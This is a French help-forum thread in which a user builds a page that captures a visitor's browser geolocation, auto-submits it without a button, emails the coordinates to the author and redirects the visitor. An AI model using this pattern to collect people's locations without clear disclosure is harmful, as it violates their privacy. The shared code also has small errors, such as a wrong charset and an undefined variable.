Envoi automatique sans submit via php

Fermé
BtyBle Messages postés 9 Date d'inscription vendredi 19 août 2016 Statut Membre Dernière intervention 20 août 2016 - Modifié par baladur13 le 19/08/2016 à 22:45
 Utilisateur anonyme - 21 août 2016 à 09:10
Bonjour,

Alors vraiment besoin d'aide car je rame !! svp

Ci joint vous trouvez la synthaxe de mon script qui permet que lorsque un utilisateur accepte d’être localiser via sont navigateur les champs du formulaire se remplisse automatiquement.

<!doctype html> 
<html lang="fr"> 
<head> 
<meta charset="uth-8"> 
<title>HTML5 : Géolocalisation</title> 
</head> 
<body> 

 
<script> 
function maPosition(position) { 

document.getElementById('latitude').value=position.coords.latitude  ;
document.getElementById('longitude').value=position.coords.longitude  ;
document.getElementById('altitude').value=position.coords.altitude  ;
} 
if(navigator.geolocation) 
navigator.geolocation.getCurrentPosition(maPosition); 
</script>

<form name="form1" method="post" action="sendmail.php">
<input type="text"  name="latitude" id="latitude"> 
<input type="text"  name="longitude" id="longitude"> 
<input type="text"  name="altitude" id="altitude"> 
<input type="submit" name="envoi" id="envoi" value="Envoyer">
</form>

    <?php
if( isset($_POST['envoi']) ) 
{
echo $_POST['latitude'];
echo  $_POST['longitude'];
echo  $_POST['altitude'];
}

?>
</body> 
</html> 


Ensuite lorsqu'il clic sur "envoyer" le formulaire est envoyer vers une deuxième page "sendmail.php" avec un script php qui permet de m'envoyer les données automatiquement par mail. Et ensuite l'utilisateur est redirigé vers une autre page automatiquement

Voici la synthaxe "sendmail.php" :


<?php
$TO = "mon-adresse@mail.com";

$h = "From: " . $TO;

$message = "Geolocaliser ok";

while (list($key, $val) = each($_POST)) {
$message .= "$key : $val\n";
}

mail($TO, $subject, $message, $h);

Header("Location: http://www.lien-de-redirection.com");

?>



Maintenant tout fonctionne sauf que je voudrai supprimer la fonction submit pour que le formulaire soit envoyer automatiquement lorsque le formulaire est rempli

((sachant que en fonction de la connexion internet la géolocalisation peut mettre du temps)) donc je ne voudrai pas que le formulaire soit envoyer vide.

Pourriez vous m'aider afin de trouver une solution a intégrer dans tout ça ??




EDIT : Ajout des balises de code (la coloration syntaxique).
Explications disponibles ici : ICI

Merci d'y penser dans tes prochains messages.
A voir également:

3 réponses

Utilisateur anonyme
19 août 2016 à 22:31
Bonjour

Il suffit de demander à javascript de faire le submit quand le formulaire est rempli, c'est à dire à la fin de ta fonction maPosition :
document.getElementById('monform').submit();

sans oublier d'ajouter l'id 'monform' à ton formulaire pour que javascript sache le retrouver.
https://www.w3schools.com/jsref/met_form_submit.asp
2
BtyBle Messages postés 9 Date d'inscription vendredi 19 août 2016 Statut Membre Dernière intervention 20 août 2016
Modifié par BtyBle le 19/08/2016 à 22:48
Salut le père.

Je visualiser ce que tu me dis mais je n'arrive pas a le mettre en application.

Que dois-je mettre a la place de "monforme" ? quelle id ?

Du coup je suprime la ligne :

 <input type="submit" name="envoi" id="envoi" value="Envoyer"> 


et que faire de la ligne :

 if( isset($_POST['envoi']) )  



et de la fonction :
 <form name="form1" method="post" action="sendmail.php"> 
0
BtyBle Messages postés 9 Date d'inscription vendredi 19 août 2016 Statut Membre Dernière intervention 20 août 2016
19 août 2016 à 23:20
Je ne parviens pas à le faire. J'aurais vraiment besoin d'explication. Si vous voulez bien m'aider :( svp
0
Utilisateur anonyme
19 août 2016 à 23:50
Que dois-je mettre a la place de "monforme" ?
Je n'ai jamais dit de mettre quelque chose à la place de "monforme".

La ligne if( isset($_POST['envoi']) ) et tout le php dans ton formulaire ne servaient à rien, tu peux les supprimer.

quelle id ?
J'ai écrit : l'id 'monform'. C'est grâce à cet id que getElementById('monform') va retrouver le formulaire. Il faut le mettre dans la balise form, comme les autres id que tu as mis dans tes input pour identifier les champs latitude, longitude, etc
0
BtyBle Messages postés 9 Date d'inscription vendredi 19 août 2016 Statut Membre Dernière intervention 20 août 2016
20 août 2016 à 21:44
Ça marche à merveille :) merci beaucoup
0
Utilisateur anonyme > BtyBle Messages postés 9 Date d'inscription vendredi 19 août 2016 Statut Membre Dernière intervention 20 août 2016
21 août 2016 à 09:10
De rien :-)
0